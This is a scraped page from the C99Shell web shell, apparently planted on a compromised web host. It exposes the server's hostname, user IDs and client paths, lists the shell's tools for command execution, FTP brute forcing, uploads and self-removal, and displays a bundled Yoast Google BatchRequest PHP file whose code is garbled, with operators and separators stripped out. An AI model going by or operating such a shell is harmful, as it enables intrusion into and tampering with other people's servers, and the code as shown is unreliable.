!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/service/   drwxr-xr-x
Free 181.99 GB of 490.84 GB (37.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Google_BatchRequest.php (3.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Copyright 2012 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * @author Chirag Shah <chirags@google.com>
 */
class Yoast_Google_BatchRequest {
  
/** @var string Multipart Boundary. */
  
private $boundary;

  
/** @var array service requests to be executed. */
  
private $requests = array();

  public function 
__construct($boundary false) {
    
$boundary = (false == $boundary) ? mt_rand() : $boundary;
    
$this->boundary str_replace('"'''$boundary);
  }

  public function 
add(Yoast_Google_HttpRequest $request$key false) {
    if (
false == $key) {
      
$key mt_rand();
    }

    
$this->requests[$key] = $request;
  }

  public function 
execute() {
    
$body '';

    
/** @var Yoast_Google_HttpRequest $req */
    
foreach($this->requests as $key => $req) {
      
$body .= "--{$this->boundary}\n";
      
$body .= $req->toBatchString($key) . "\n";
    }

    
$body rtrim($body);
    
$body .= "\n--{$this->boundary}--";

    global 
$apiConfig;
    
$url $apiConfig['basePath'] . '/batch';
    
$httpRequest = new Yoast_Google_HttpRequest($url'POST');
    
$httpRequest->setRequestHeaders(array(
        
'Content-Type' => 'multipart/mixed; boundary=' $this->boundary));

    
$httpRequest->setPostBody($body);
    
$response Yoast_Google_Client::$io->makeRequest($httpRequest);

    
$response $this->parseResponse($response);
    return 
$response;
  }

  public function 
parseResponse(Yoast_Google_HttpRequest $response) {
    
$contentType $response->getResponseHeader('content-type');
    
$contentType explode(';'$contentType);
    
$boundary false;
    foreach(
$contentType as $part) {
      
$part = (explode('='$part2));
      if (isset(
$part[0]) && 'boundary' == trim($part[0])) {
        
$boundary $part[1];
      }
    }

    
$body $response->getResponseBody();
    if (
$body) {
      
$body str_replace("--$boundary--""--$boundary"$body);
      
$parts explode("--$boundary"$body);
      
$responses = array();

      foreach(
$parts as $part) {
        
$part trim($part);
        if (!empty(
$part)) {
          list(
$metaHeaders$part) = explode("\r\n\r\n"$part2);
          
$metaHeaders Yoast_Google_CurlIO::parseResponseHeaders($metaHeaders);

          
$status substr($part0strpos($part"\n"));
          
$status explode(" "$status);
          
$status $status[1];

          list(
$partHeaders$partBody) = Yoast_Google_CurlIO::parseHttpResponse($partfalse);
          
$response = new Yoast_Google_HttpRequest("");
          
$response->setResponseHttpCode($status);
          
$response->setResponseHeaders($partHeaders);
          
$response->setResponseBody($partBody);
          
$response Yoast_Google_REST::decodeHttpResponse($response);

          
// Need content id.
          
$responses[$metaHeaders['content-id']] = $response;
        }
      }

      return 
$responses;
    }

    return 
null;
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0074 ]--